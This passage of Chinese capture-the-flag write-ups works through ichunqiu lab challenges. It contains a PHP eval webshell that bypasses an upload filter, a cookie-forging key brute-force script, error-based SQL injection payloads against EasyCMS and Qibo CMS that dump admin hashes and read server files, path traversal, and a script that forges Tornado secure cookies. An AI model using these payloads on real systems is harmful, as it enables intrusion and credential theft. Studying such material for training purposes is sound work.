s="\"EW S4W WFU5LWV L1 T41SVW0 1M4 2S4L0W4KZ52 E5LZ LZW 9505KL4G 1X WVMUSL510 L1 9S7W S 810Y-8SKL50Y 592SUL 10 LZW 85NWK 1X UZ50WKW KLMVW0LK LZ41MYZ S 6150L8G-VWK5Y0WV TSK7WLTS88 UM445UM8M9 S0V S E5VW 4S0YW 1X KUZ118 TSK7WLTS88 241Y4S9K,\" KS5V KZ1W9S7W4. \"LZ5K U1995L9W0L 9S47K S01LZW4 958WKL10W 50 LZW 0TS'K G1MLZ S0V TSK7WLTS88 VWNW8129W0L WXX14LK 50 UZ50S.\" X8SY { YK182V9ZUL9STU5V}"
i=18
temp=""
for j in s:
if ord(j)<=ord('M') and ord(j)>=ord('A'):
if(ord(j)+i)>=ord('A') and (ord(j)+i)<=ord('Z'):
temp+=chr(ord(j)+i)
else:
temp+=j
elif ord(j)>=ord('N') and ord(j)<=ord('Z'):
if (ord(j) - i) >= ord('A') and (ord(j) - i) <= ord('Z'):
temp += chr(ord(j) - i)
else:
temp += j
else:
temp+=j
#print temp
f=temp
c=""
for t in f:
if t=='4':
c+='R'
elif t=='5':
c+="I"
elif t == 'L':
c += "T"
elif t=='0':
c+="N"
elif t=='K':
c+="S"
elif t=='7':
c+="K"
elif t=='8':
c+="L"
elif t=='M':
c+="U"
elif t=='1':
c+="O"
elif t=='9':
c+="M"
elif t=='2':
c+="P"
else:
c+=t
print c
      
      
得到:FLAG { GSOLPDMHCTMABCID}
根据flag格式,不能有空格,最终flag:
FLAG{GSOLPDMHCTMABCID}
http://217046e1bac4484fa0f719b85c8b49b8aba97d6e26ba4c5b.changame.ichunqiu.com/u/test.txt

上传成功后访问上传的文件,发现直接输出了:eval($_POST['a']) ?>

http://217046e1bac4484fa0f719b85c8b49b8aba97d6e26ba4c5b.changame.ichunqiu.com/u/test.php
由此判断后台代码过滤了<?和php关键字

这里通过<script >脚本的一句户后门绕过:

<script language="pHp">@eval($_POST['sb'])</script>

最终flag:
flag{d09c7fbb-b68c-4229-83bb-68c4864450c1}
题目名称:Code
题目writeup:
打开url地址http://4c761be0a54f491c86c03f3ff1555b6d8645cd8e72d144ac.game.ichunqiu.com/index.php?jpg=hei.jpg,发现是一张图片
查看网页源码,发现图片经过了base64编码,将其解码,解密发现是乱码,无果
index.php?jpg=中的jpg参数猜测存在任意文件包含漏洞,这里包含index.php源码读出来,并查看源代码是base64
http://2205aa80f72c42aa847d1bfa98b020901d84e5af62544db9.changame.ichunqiu.com/index.php?jpg=index.php
得到的bae64:
PD9waHANCi8qKg0KICogQ3JlYXRlZCBieSBQaHBTdG9ybS4NCiAqIERhdGU6IDIwMTUvMTEvMTYNCiAqIFRpbWU6IDE6MzENCiAqLw0KaGVhZGVyKCdjb250ZW50LXR5cGU6dGV4dC9odG1sO2NoYXJzZXQ9dXRmLTgnKTsNCmlmKCEgaXNzZXQoJF9HRVRbJ2pwZyddKSkNCiAgICBoZWFkZXIoJ1JlZnJlc2g6MDt1cmw9Li9pbmRleC5waHA/anBnPWhlaS5qcGcnKTsNCiRmaWxlID0gJF9HRVRbJ2pwZyddOw0KZWNobyAnPHRpdGxlPmZpbGU6Jy4kZmlsZS4nPC90aXRsZT4nOw0KJGZpbGUgPSBwcmVnX3JlcGxhY2UoIi9bXmEtekEtWjAtOS5dKy8iLCIiLCAkZmlsZSk7DQokZmlsZSA9IHN0cl9yZXBsYWNlKCJjb25maWciLCJfIiwgJGZpbGUpOw0KJHR4dCA9IGJhc2U2NF9lbmNvZGUoZmlsZV9nZXRfY29udGVudHMoJGZpbGUpKTsNCg0KZWNobyAiPGltZyBzcmM9J2RhdGE6aW1hZ2UvZ2lmO2Jhc2U2NCwiLiR0eHQuIic+PC9pbWc+IjsNCg0KLyoNCiAqIENhbiB5b3UgZmluZCB0aGUgZmxhZyBmaWxlPw0KICoNCiAqLw0KDQo/Pg==
对其进行解密base64,得到:
<?php
/**
 * Created by PhpStorm.
 * Date: 2015/11/16
 * Time: 1:31
 */
header('content-type:text/html;charset=utf-8');
if(! isset($_GET['jpg']))
    header('Refresh:0;url=./index.php?jpg=hei.jpg');
$file = $_GET['jpg'];
echo '<title>file:'.$file.'</title>';
$file = preg_replace("/[^a-zA-Z0-9.]+/","", $file);
$file = str_replace("config","_", $file);
$txt = base64_encode(file_get_contents($file));
echo "<img src='data:image/gif;base64,".$txt."'></img>";
/*
 * Can you find the flag file?
 *
 */
?>

发现了Created by PhpStorm,phpstorm是php代码的集成开发环境,下载phpstorm,并新建一个项目,会发现在项目文件夹里面会生成一个.idea文件,它存储了项目的配置文件,

打开.idea文件可以发现misc.xml,modules.xml,workspace.xml文件。

由于刚才解码得到的php代码是在phpstorm中创建的,因此该项目文件一定会生成一个.idea文件。

访问地址:

http://2205aa80f72c42aa847d1bfa98b020901d84e5af62544db9.changame.ichunqiu.com/.idea/workspace.xml

打开发现xml文件中IDE生成有三个文件:x.php和config.php以及fl3g_ichuqiu.php

说明该项目生成了x.php,config.php,fl3g_ichuqiu.php文件.
分别访问 x.php,config.php,fl3g_ichuqiu.php文件
其中x.php文件显示404页面不存在
config.php文件显示空白
http://2205aa80f72c42aa847d1bfa98b020901d84e5af62544db9.changame.ichunqiu.com/config.php
fl3g_ichuqiu.php显示一段符号
http://2205aa80f72c42aa847d1bfa98b020901d84e5af62544db9.changame.ichunqiu.com/fl3g_ichuqiu.php
那么flag很有可能在fl3g_ichuqiu.php中,这里通过index.php?jpg= fl3g_ichuqiu.php文件包含读取源码
查看源码:
显示:<title>file:xfl3g_ichuqiu.php</title><img src='data:image/gif;base64,'></img>
显然,base64编码内容被过滤了。
我们自己改写一下index.php的代码,在本地环境中运行一下:
<?php
$file = 'fl3g_ichuqiu.php';
$file = preg_replace("/[^a-zA-Z0-9.]+/","", $file);
$file = str_replace("config","_", $file);
echo $file;
输出结果为:fl3gichuqiu.php
根据上面的正则替换:preg_replace,只要不是字母数字和.,就会被替换为空,因此_被替换成""了,但是我们有办法解决,
利用index.php的substr函数即可,我们可以将fl3g_ichuqiu.php改写为fl3gconfigichuqiu.php,让后台脚本帮助我们替换。

现在包含fl3gconfigichuqiu.php读取fl3g_ichuqiu.php的源码

http://2205aa80f72c42aa847d1bfa98b020901d84e5af62544db9.changame.ichunqiu.com/index.php?jpg=fl3gconfigichuqiu.php

查看源码,显示了base64编码的结果。

得到的base64编码:
PD9waHANCi8qKg0KICogQ3JlYXRlZCBieSBQaHBTdG9ybS4NCiAqIERhdGU6IDIwMTUvMTEvMTYNCiAqIFRpbWU6IDE6MzENCiAqLw0KZXJyb3JfcmVwb3J0aW5nKEVfQUxMIHx8IH5FX05PVElDRSk7DQppbmNsdWRlKCdjb25maWcucGhwJyk7DQpmdW5jdGlvbiByYW5kb20oJGxlbmd0aCwgJGNoYXJzID0gJ0FCQ0RFRkdISUpLTE1OT1BRUlNUVVZXWFlaMDEyMzQ1Njc4OWFiY2RlZmdoaWprbG1ub3BxcnN0dXZ3eHl6Jykgew0KICAgICRoYXNoID0gJyc7DQogICAgJG1heCA9IHN0cmxlbigkY2hhcnMpIC0gMTsNCiAgICBmb3IoJGkgPSAwOyAkaSA8ICRsZW5ndGg7ICRpKyspCXsNCiAgICAgICAgJGhhc2ggLj0gJGNoYXJzW210X3JhbmQoMCwgJG1heCldOw0KICAgIH0NCiAgICByZXR1cm4gJGhhc2g7DQp9DQoNCmZ1bmN0aW9uIGVuY3J5cHQoJHR4dCwka2V5KXsNCiAgICBmb3IoJGk9MDskaTxzdHJsZW4oJHR4dCk7JGkrKyl7DQogICAgICAgICR0bXAgLj0gY2hyKG9yZCgkdHh0WyRpXSkrMTApOw0KICAgIH0NCiAgICAkdHh0ID0gJHRtcDsNCiAgICAkcm5kPXJhbmRvbSg0KTsNCiAgICAka2V5PW1kNSgkcm5kLiRrZXkpOw0KICAgICRzPTA7DQogICAgZm9yKCRpPTA7JGk8c3RybGVuKCR0eHQpOyRpKyspew0KICAgICAgICBpZigkcyA9PSAzMikgJHMgPSAwOw0KICAgICAgICAkdHRtcCAuPSAkdHh0WyRpXSBeICRrZXlbKyskc107DQogICAgfQ0KICAgIHJldHVybiBiYXNlNjRfZW5jb2RlKCRybmQuJHR0bXApOw0KfQ0KZnVuY3Rpb24gZGVjcnlwdCgkdHh0LCRrZXkpew0KICAgICR0eHQ9YmFzZTY0X2RlY29kZSgkdHh0KTsNCiAgICAkcm5kID0gc3Vic3RyKCR0eHQsMCw0KTsNCiAgICAkdHh0ID0gc3Vic3RyKCR0eHQsNCk7DQogICAgJGtleT1tZDUoJHJuZC4ka2V5KTsNCg0KICAgICRzPTA7DQogICAgZm9yKCRpPTA7JGk8c3RybGVuKCR0eHQpOyRpKyspew0KICAgICAgICBpZigkcyA9PSAzMikgJHMgPSAwOw0KICAgICAgICAkdG1wIC49ICR0eHRbJGldXiRrZXlbKyskc107DQogICAgfQ0KICAgIGZvcigkaT0wOyRpPHN0cmxlbigkdG1wKTskaSsrKXsNCiAgICAgICAgJHRtcDEgLj0gY2hyKG9yZCgkdG1wWyRpXSktMTApOw0KICAgIH0NCiAgICByZXR1cm4gJHRtcDE7DQp9DQokdXNlcm5hbWUgPSBkZWNyeXB0KCRfQ09PS0lFWyd1c2VyJ10sJGtleSk7DQppZiAoJHVzZXJuYW1lID09ICdzeXN0ZW0nKXsNCiAgICBlY2hvICRmbGFnOw0KfWVsc2V7DQogICAgc2V0Y29va2llKCd1c2VyJyxlbmNyeXB0KCdndWVzdCcsJGtleSkpOw0KICAgIGVjaG8gIuKVrijila/ilr3ilbAp4pWtIjsNCn0NCj8+

将其进行解码得到一段php代码,是关于http cookie的加密与解密:

<?php

/**

 * Created by PhpStorm.

 * Date: 2015/11/16

 * Time: 1:31

 */

error_reporting(E_ALL || ~E_NOTICE);

include('config.php');

//获取length位数的随机字符串

function random($length, $chars = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789abcdefghijklmnopqrstuvwxyz')

{

    $hash = '';

    $max = strlen($chars) - 1;

    for($i = 0; $i < $length; $i++) {

        $hash .= $chars[mt_rand(0, $max)];

    }

    return $hash;

}

//加密过程,txt是明文,key是秘钥

function encrypt($txt,$key)

{

    for($i=0;$i<strlen($txt);$i++){

        $tmp .= chr(ord($txt[$i])+10);

    }//txt内容的ascii码增加10

    $txt = $tmp;

    $rnd=random(4); //取4位随机字符

    $key=md5($rnd.$key);//随机字符与秘钥进行拼接得到新的秘钥

    $s=0;

    for($i=0;$i<strlen($txt);$i++){

        if($s == 32) $s = 0;

        $ttmp .= $txt[$i] ^ $key[++$s]; //将明文与key按位进行异或,key的长度最长为32

    }

    return base64_encode($rnd.$ttmp); //将随机字符与异或后的结果进行字符串拼接,然后进行base64加密,得到密文

}

//解密过程,txt是密文,key是秘钥

function decrypt($txt,$key){

    $txt=base64_decode($txt); //将密文进行base64解码

    $rnd = substr($txt,0,4); //取出解码后的密文的前四位作为随机数字符串

    $txt = substr($txt,4); //从第5位开始的内容为真正的密文

    $key=md5($rnd.$key); //随机字符串与秘钥进行拼接得到新的秘钥

    $s=0;

    for($i=0;$i<strlen($txt);$i++){

        if($s == 32) $s = 0;

        $tmp .= $txt[$i]^$key[++$s]; //将密文与秘钥进行异或得到tmp

    }

    for($i=0;$i<strlen($tmp);$i++){

        $tmp1 .= chr(ord($tmp[$i])-10); //将tmp的ascii码减10得到明文

    }

    return $tmp1;  //明文

}

$username = decrypt($_COOKIE['user'],$key); //将HTTP Cookie方式传递的user变量作为密文,与秘钥进行解密

if ($username == 'system'){   //如果解密出的结果为system,则显示flag

    echo $flag;

}else{    //如果解密出的结果不是system,则向客户端发送一个http cookie,cookie名称为user变量,cookie的值为guest与秘钥加密的结果,并显示一个表情

    setcookie('user',encrypt('guest',$key));

    echo "a??(a?ˉa??a?°)a?-";

}

?>

获取flag的思路:要获取flag就要获取key,使得key与$_COOKIE['user']的解密结果为system。

获取key的思路:通过浏览器向服务器请求“抱歉”表情界面的url,服务器就会向浏览器返回一个固定的cookie值,

即:encrypt('guest',$key),则cookie值就是明文“guest”与key(5位)加密的结果(即guest与key异或得到cookie,那么guest与cookie异或可以得到key)。

得到5位的key后,可以爆破第六位的key,只要用得到的5位key连接上构造的第六位key,与“system”进行加密得到的user变量的cookie值去请求相应的url,

通过服务器反馈的内容含有“flag”关键字符,则说明构造的第六位key值正确,从而可以得到六位的key以及flag的内容。

加密和解密的原理其实不难,需要与得到user的cookie计算解密 得到的key,然后利用这个key对system加密,从而得到system的cookie,伪造cookie得到flag.

根据代码原理,利用python脚本进行keys秘钥的爆破:

# _*_ coding: utf-8 _*

import requests

import string

from base64 import *


#返回“抱歉”表情的url

url="http://2205aa80f72c42aa847d1bfa98b020901d84e5af62544db9.changame.ichunqiu.com/fl3g_ichuqiu.php"

#请求该url,获取服务器返回的user变量的cookie值,即encrypt('guest',$key)

cookie=requests.get(url).cookies['user']

#将密文cookie进行base64解码

txt=b64decode(cookie)

rnd=txt[:4] #密文的前4位字符为随机字符

ttmp=txt[4:]#ttmp为'guest'与key进行异或的密文值,ttmp与'guest'的位数一样,为5位

keys=list('xxxxxx') #六位key的初始字符串

guest=list('guest')#guest明文内容

system=list('system')

for i in range(len(guest)):

guest[i]=chr(ord(guest[i])+10)#guest明文的ascii码加10,为guest加密做准备(encrypt('guest',$key))

for i in range(len(guest)):

keys[i]=chr(ord(ttmp[i])^ord(guest[i]))#ttmp为'guest'与key进行异或的密文值,则ttmp与guest异或为keys

for i in range(len(system)):

system[i]=chr(ord(system[i])+10)#system的ascii码加10,为system加密做准备

letters='ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789abcdefghijklmnopqrstuvwxyz'#第六位key的爆破字符

ttmp_new='' #system与keys的异或值

cookie_system=[]

str=''

for ch in letters:

keys[5]=ch

for i in range(len(system)):

ttmp_new +=chr(ord(system[i])^ord(keys[i]))

str=rnd+ttmp_new #随机字符与异或结果进行拼接

cookie_system.append(b64encode(str)) #将拼接结果进行base64加密,得到flag界面的cookie值,并将其填充到字典cookie_system中

ttmp_new=''#爆破一次,就将ttmp_new初始化一次

#

# print cookie_system #输出所有可能的key爆破得到的cookie值

for i in cookie_system:

cookies={'user':i} #cookie变量为user,值为i

res=requests.get(url,cookies=cookies) #用所有的cookie值去尝试访问服务器,得到的反馈为res

if 'flag' in res.content:#如果反馈的内容含有‘flag’关键字,则说明请求的cookie正确,即keys爆破成功

#print cookie_system[i] #输出正确的cookie值

print res.content #输出服务器反馈的内容,即flag
最终得到flag:
flag{a543619a-eb42-489c-b6cd-700f9cbe4cb0}
题目名称:YeserCMS

题目内容:

新的CMS系统,帮忙测测是否有漏洞。tips:flag在网站根目录下的flag.php中

题目writeup:

打开链接发现其实是easycms,百度可以查到许多通用漏洞

http://f6434ae33e264d1786933d22e0f05e4caae7c61df2d24aa1.changame.ichunqiu.com/

访问/celive/live/header.php,直接进行报错注入
查询数据库
xajax=Postdata&xajaxargs[0]=<xjxquery><q>detail=xxxxxx',(UpdateXML(1,CONCAT(0x5b,mid((SELECT/**/GROUP_CONCAT(concat(database())) ),1,32),0x5d),1)),NULL,NULL,NULL,NULL,NULL,NULL)-- </q></xjxquery>
查询表名
xajax=Postdata&xajaxargs[0]=<xjxquery><q>detail=xxxxxx',(UpdateXML(1,CONCAT(0x5b,mid((SELECT/**/GROUP_CONCAT(table_name) from information_schema.tables where table_schema=database()),1,32),0x5d),1)),NULL,NULL,NULL,NULL,NULL,NULL)-- </q></xjxquery>
这里出现了一个尴尬的问题,显示的长度不够了,通过调整1,32的来调整可显示部分表出来
得到部分表名:yesercms_a_attachment和yesercms_
因为group_concat只取数据的32位,所以我们用python脚本跑一下,得到完整的数据库表:
import requests

url = 'http://f6434ae33e264d1786933d22e0f05e4caae7c61df2d24aa1.changame.ichunqiu.com/celive/live/header.php'

for i in range(1, 999, 31):
postdata = {

'xajax': 'Postdata',

'xajaxargs[0]': "<xjxquery><q>detail=xxxxxx',(UpdateXML(1,CONCAT(0x5b,mid((SELECT/**/GROUP_CONCAT(table_name) from information_schema.tables where table_schema=database()),%s,32),0x5d),1)),NULL,NULL,NULL,NULL,NULL,NULL)-- </q></xjxquery>" % str(
i)

}

r = requests.post(url, data=postdata)

print r.content[22:53]
得到完整的表:
yesercms_a_attachment,yesercms_a_comment,yesercms_a_rank,yesercms_a_vote,yesercms_activity,yesercms_announcement,yesercms_archive,yesercms_assigns,yesercms_b_arctag,yesercms_b_area,yesercms_b_category,yesercms_b_special,yesercms_b_tag,yesercms_ballot,yesercms_bbs_archive,yesercms_bbs_category,yesercms_bbs_label,yeercms_bbs_reply,yesercms_chat,yesercms_departments,yesercms_detail,yesercms_event,yesercms_friendlink,yesercms_guestbook,yesercms_linkword,yesercms_my_a,yesercms_my_yingpin,yesercms_operators,yesercms_option,yesercms_p_orders,yesercms_p_pay,yesercms_p_shipping,yesercms_pay_exchange,yesercms_sessions,yesercms_settings,yesercms_templatetag,yesercms_type,yesercms_union,yesercms_union_pay,yesercms_union_visit,yesercms_user,yesercms_usergroup
查询字段:
xajax=Postdata&xajaxargs[0]=<xjxquery><q>detail=xxxxxx',(UpdateXML(1,CONCAT(0x5b,mid((SELECT/**/GROUP_CONCAT(column_name) from information_schema.columns where table_name='yesercms_user'),1,32),0x5d),1)),NULL,NULL,NULL,NULL,NULL,NULL)-- </q></xjxquery>
得到字段名:userid,username,password,nickna
爆出字段内容:
xajax=Postdata&xajaxargs[0]=<xjxquery><q>detail=xxxxxx', (UpdateXML(1,CONCAT(0x5b,mid((SELECT/**/GROUP_CONCAT(concat(username,'|',password)) from yesercms_user),1,32),0x5d),1)),NULL,NULL,NULL,NULL,NULL,NULL)-- </q></xjxquery>
获得admin的用户MD5值为:ff512d4240cbbdeafada40467
这里md5的长度也不够32位,还是需要调整,将起始位1修改为8。
xajax=Postdata&xajaxargs[0]=<xjxquery><q>detail=xxxxxx', (UpdateXML(1,CONCAT(0x5b,mid((SELECT/**/GROUP_CONCAT(concat(username,'|',password)) from yesercms_user),8,32),0x5d),1)),NULL,NULL,NULL,NULL,NULL,NULL)-- </q></xjxquery>
或者
xajax=Postdata&xajaxargs[0]=<xjxquery><q>detail=xxxxxx',(UpdateXML(1,CONCAT(0x5b,substring((SELECT/**/GROUP_CONCAT(username,password) from yesercms_user),10,50),0x5d),1)),NULL,NULL,NULL,NULL,NULL,NULL)-- </q></xjxquery>

拿到账号密码admin|ff512d4240cbbdeafada404677ccbe61,解密后得到明文:Yeser231

登陆成功后,在“管理-模板-当模板编辑”中存在文件读取漏洞

打开burpsuit,点击某一个档案的编辑按钮然后进行抓包

修改id的值,题目提示说flag在flag.php中,因为不知道在几级目录下,依次尝试 

flag.php

../flag.php

../../flag.php

最后成功得到flag

POST /index.php?case=template&act=fetch&admin_dir=admin&site=defaul

data:

&id=../../flag.php

最终flag:
flag{2d5d0894-8acc-44ce-b48a-280fb3fae9ab}

题目名称:XSS平台

题目writeup:

启动题目场景,获得靶场网站,发现是一个xss平台

输入用户名和密码,通过bupsuit抓包拦截发送请求,并测试sql注入无果
这里将post数据包中的pass这个参数后加入其它字符如[],发送请求,发现在响应页面报错,并且显示为Rtiny python项目,且爆出网站的物理路径为:
/var/www/html
在github中搜索Rtiny,找到项目地址: https://github.com/r0ker/Rtiny-xss
下载项目源码到本地,对其python 项目进行审计,发现lock.py文件中的代码是存在注入的,因为username和password参数都没有做过滤处理。
Username是来自cookie的加密发送,Tornado的set_secure_cookie()函数发送浏览器的cookies,以防范浏览器中的恶意修改。
而这个cookie是被加密过的,加密使用的key在index.php文件中。cookie_secret的值为:M0ehO260Qm2dD/MQFYfczYpUbJoyrkp6qYoI2hRw2jc=
所以我们只需要将自己的注入语句,使用相同的s ookie_secret值进行加密即可,并 使用报错注入构造注入语句,脚本如下:
import tornado.ioloop
import tornado.web 
 
settings = { 
   "cookie_secret" : "M0ehO260Qm2dD/MQFYfczYpUbJoyrkp6qYoI2hRw2jc=",
}

class MainHandler(tornado.web.RequestHandler):
    def get(self):
        self.write("Hello")
        self.set_secure_cookie("username","' and extractvalue(1,concat(0x5c,(select version()))) -- ")
        #self.set_secure_cookie("username", "' and extractvalue(1,concat(0x5c,(select group_concat(distinct table_name) from information_schema.tables where table_schema=database())))-- ")
        #self.set_secure_cookie("username","' and extractvalue(1,concat(0x5c,(select group_concat(distinct column_name) from information_schema.columns where table_schema=database() and table_name='manager')))-- ")
        #self.set_secure_cookie("username","' and extractvalue(1,concat(0x5c,mid((select group_concat(username,'|',password,'|',email) from manager),30,62))) -- ")
        #self.set_secure_cookie("username", "' and extractvalue(1,concat(0x5c,(select load_file('/var/www/html/f13g_ls_here.txt'))))#")
        #self.set_secure_cookie("username", "' and extractvalue(1,concat(0x5c,mid((select load_file('/var/www/html/f13g_ls_here.txt')),28,60)))#")
        self.write(self.get_secure_cookie("username"))

def make_app():
    return tornado.web.Application([
        (r"/index", MainHandler),
        ], **settings)

if __name__ == "__main__":
    app = make_app()
    app.listen(8080)
    tornado.ioloop.IOLoop.instance().start()
脚本运行之后, 使用火狐浏览器访问 http://192.168.1.8:8080/index,并获取 Set-Cookie值。
下面为各个 self.set_secure_cookie都执行一次,获得响应的Set-Cookie值
然后访问lock路径,且替换cookie信息(不同报错SQL注入语句生成的cookie),可获得不同的信息。
获得数据库版本:
self.set_secure_cookie("username","' and extractvalue(1,concat(0x5c,(select version()))) -- "):
Set-Cookie: username=2|1:0|10:1628698313|8:username|76:JyBhbmQgZXh0cmFjdHZhbHVlKDEsY29uY2F0KDB4NWMsKHNlbGVjdCB2ZXJzaW9uKCkpKSkgLS0g|294ff6fda043eb8041e3ba94fe4677a85c6a5d9e4aeebb3790deccbe7d0e4009; expires=Fri, 10 Sep 2021 16:11:53 GMT; Path=/
数据库版本为:5.5.50
获得表名:
self.set_secure_cookie("username", "' and extractvalue(1,concat(0x5c,(select group_concat(distinct table_name) from information_schema.tables where table_schema=database())))-- "):
Set-Cookie: username=2|1:0|10:1628698669|8:username|188:JyBhbmQgZXh0cmFjdHZhbHVlKDEsY29uY2F0KDB4NWMsKHNlbGVjdCBncm91cF9jb25jYXQoZGlzdGluY3QgdGFibGVfbmFtZSkgZnJvbSBpbmZvcm1hdGlvbl9zY2hlbWEudGFibGVzIHdoZXJlIHRhYmxlX3NjaGVtYT1kYXRhYmFzZSgpKSkpLS0g|fcf80f56b27a4c2c80ad3c569594a4823d2a510bfb29dd44262764c06a8589b0; expires=Fri, 10 Sep 2021 16:17:49 GMT; Path=/
得到4个表: host,manager,module,msglog,pro
获得字段名:
self.set_secure_cookie("username","' and extractvalue(1,concat(0x5c,(select group_concat(distinct column_name) from information_schema.columns where table_schema=database() and table_name='manager')))-- ")
Set-Cookie: username=2|1:0|10:1628698796|8:username|224:JyBhbmQgZXh0cmFjdHZhbHVlKDEsY29uY2F0KDB4NWMsKHNlbGVjdCBncm91cF9jb25jYXQoZGlzdGluY3QgY29sdW1uX25hbWUpIGZyb20gaW5mb3JtYXRpb25fc2NoZW1hLmNvbHVtbnMgd2hlcmUgdGFibGVfc2NoZW1hPWRhdGFiYXNlKCkgYW5kIHRhYmxlX25hbWU9J21hbmFnZXInKSkpLS0g|049171c133846ce5524c3287cd499263ae26dc4588dab1b12fdb48467286e322; expires=Fri, 10 Sep 2021 16:19:56 GMT; Path=/
得到3个字段名: username,password,email
获得字段数据内容:
self.set_secure_cookie("username","' and extractvalue(1,concat(0x5c,mid((select group_concat(username,'|',password,'|',email) from manager),30,62))) -- ")
Set-Cookie: username=2|1:0|10:1628698884|8:username|156:JyBhbmQgZXh0cmFjdHZhbHVlKDEsY29uY2F0KDB4NWMsbWlkKChzZWxlY3QgZ3JvdXBfY29uY2F0KHVzZXJuYW1lLCd8JyxwYXNzd29yZCwnfCcsZW1haWwpIGZyb20gbWFuYWdlciksMzAsNjIpKSkgLS0g|d28589cae4f851cc8e55bee6e03ec08e76f96d4f839a1a4a35867e2af78b6c83; expires=Fri, 10 Sep 2021 16:21:24 GMT; Path=/
得到后半部分的MD5值:cfc4337207f|545
self.set_secure_cookie("username","' and extractvalue(1,concat(0x5c,mid((select group_concat(username,'|',password,'|',email) from manager),1,30))) -- ")
Set-Cookie: username="2|1:0|10:1628699758|8:username|156:JyBhbmQgZXh0cmFjdHZhbHVlKDEsY29uY2F0KDB4NWMsbWlkKChzZWxlY3QgZ3JvdXBfY29uY2F0KHVzZXJuYW1lLCd8JyxwYXNzd29yZCwnfCcsZW1haWwpIGZyb20gbWFuYWdlciksMSwzMCkpKSAtLSA=|138d344639d775557f79f2fcd8c59e13c4186cd86d56758da3dfd3776bee803a"; expires=Fri, 10 Sep 2021 16:35:58 GMT; Path=/
得到前部分的用户名和密码值:ichuqiu|318a61264482e503090fac
用户名为: ichuqiu ,密码的前部分md5值:318a61264482e503090fac
那么组合起来的password的MD5值为:318a61264482e503090facfc4337207f|545
MD5解密后为:Myxss623
输入用户名ichuqiu密码Myxss623,登录到系统
在文件栏目中显示f13g_ls_here.txt是在该系统中,根据上文的爆出的网站物理路径,那么 f13g_ls_here.txt路径为: /var/www/html/f13g_ls_here.txt
既然知道网站物理路径,那么可以通过load_file读取 f13g_ls_here.txt内容:
self.set_secure_cookie("username", "' and extractvalue(1,concat(0x5c,(select load_file('/var/www/html/f13g_ls_here.txt'))))#")
Set-Cookie: username="2|1:0|10:1628700614|8:username|120:JyBhbmQgZXh0cmFjdHZhbHVlKDEsY29uY2F0KDB4NWMsKHNlbGVjdCBsb2FkX2ZpbGUoJy92YXIvd3d3L2h0bWwvZjEzZ19sc19oZXJlLnR4dCcpKSkpIw==|9e10f83afcbc71c66f93440c17ace8b401bc48fa1bec1b8cf5c77bfd64f794fd"; expires=Fri, 10 Sep 2021 16:50:14 GMT; Path=/
获取到falg的前部分:
flag{dca268c8-bfc7-4382-aa25-35
self.set_secure_cookie("username", "' and extractvalue(1,concat(0x5c,mid((select load_file('/var/www/html/f13g_ls_here.txt')),28,60)))#")
Set-Cookie: username=2|1:0|10:1628700882|8:username|132:JyBhbmQgZXh0cmFjdHZhbHVlKDEsY29uY2F0KDB4NWMsbWlkKChzZWxlY3QgbG9hZF9maWxlKCcvdmFyL3d3dy9odG1sL2YxM2dfbHNfaGVyZS50eHQnKSksMjgsNjApKSkj|5c16fe54b971dc0ac5907abaf734eecbbab60aa790c77c8a5f37a8ef85f3ee4e; expires=Fri, 10 Sep 2021 16:54:42 GMT; Path=/
获取到falg的后部分:
5-359f21c017bd}
最终flag:
flag{dca268c8-bfc7-4382-aa25- 359f21c017bd}
题目名称:再见CMS
题目内容:这里还是有一个小脑洞
题目writeup:
启动题目场景,获得靶场网站,页面报错了网站的物理路径 /var/www/html/
http://b897152215d34ab597fed97d8b102d6cb3b5df5c35764d22.changame.ichunqiu.com/
通过whatweb在线cms查询靶机网站的CMS指纹,可以查询到该系统使用的CMS是奇博CMS
http://whatweb.bugscaner.com/look/
通过御剑目录扫描工具,发现系统中存在flag.php
通过百度搜索奇博CMS的漏洞,发现历史漏洞中存在SQL注入,这里可以参考: https://www.2cto.com/article/201501/365742.html
先注册一个用户test
记下自己的uid,以便一会更新数据,在个人信息的链接地址的UID中可查询到,这里我的UID值为3。
http://badea0fa60b044d59413aeddf7524d450e8b165442834484.changame.ichunqiu.com/member/homepage.php?uid=3
查看数据库版本信息
post:
truename=root%0000&Limitword[000]=&email=root@backlion.org&provinceid= , address=(select version()) where uid = 3 %23 //注意uid值
http://b897152215d34ab597fed97d8b102d6cb3b5df5c35764d22.changame.ichunqiu.com/member/homepage.php?uid=3
得到数据库版本信息:5.5.35-1ubuntu1
查看数据库用户:
http://b897152215d34ab597fed97d8b102d6cb3b5df5c35764d22.changame.ichunqiu.com/member/userinfo.php?job=edit&step=2
post:
truename=test%0000&Limitword[000]=&email=root@backlion.org&provinceid=,address=(select user()) where uid=3%23
http://b897152215d34ab597fed97d8b102d6cb3b5df5c35764d22.changame.ichunqiu.com/member/homepage.php?uid=3
得到数据库用户名为:youleUserl@localhost
查询表名:
http://b897152215d34ab597fed97d8b102d6cb3b5df5c35764d22.changame.ichunqiu.com/member/userinfo.php?job=edit&step=2
post:
truename=test%0000&Limitword[000]=&email=root@backlion.org&provinceid=
, address=(select group_concat(distinct(column_name)) from information_schema.columns where table_name = (select distinct(table_name) from information_schema.tables where table_schema = database() limit 1) ) where uid = 3 %23
得到表名为:id,username,password,Email
通过load_file读取 /var/www/html/flag.php内容
post:
truename=test%0000&Limitword[000]=&email=root@backlion.org&provinceid=,address=(load_file(0x2f7661722f7777772f68746d6c2f666c61672e706870)) where uid=3%23
根据上文可知flag的路径路径为:/var/www/html/flag.php,load_file函数里面那一串十六进制数字代表/var/www/html/flag.php
查询源码,发现flag内容
view-source:http://b897152215d34ab597fed97d8b102d6cb3b5df5c35764d22.changame.ichunqiu.com/member/homepage.php?uid=3
最终flag:
flag{b60be290-d90e-4b72-8763-83ae2357e933}

题目名称:SQL
题目writup:
启动题目场景,获得靶场网站,访问网站,页面显示flag{在数据库中}
http://e9e6d163a16e4df1bab55b0b81dca52c2c501dc6e0ab4b69.changame.ichunqiu.com/index.php?id=1
            
            
测试and 1=1和and 1=0,页面都显示相同内容,证明and被过滤了。
http://e9e6d163a16e4df1bab55b0b81dca52c2c501dc6e0ab4b69.changame.ichunqiu.com/index.php?id=1 and 1=1
            
            
又测试or 1=1和or 1=0,页面都显示相同内容,证明or也被过滤了。
http://e9e6d163a16e4df1bab55b0b81dca52c2c501dc6e0ab4b69.changame.ichunqiu.com/index.php?id=1 or 1=1
使用字符&&和||分别替换成and和or,页面显示不同,证明存在注入漏洞
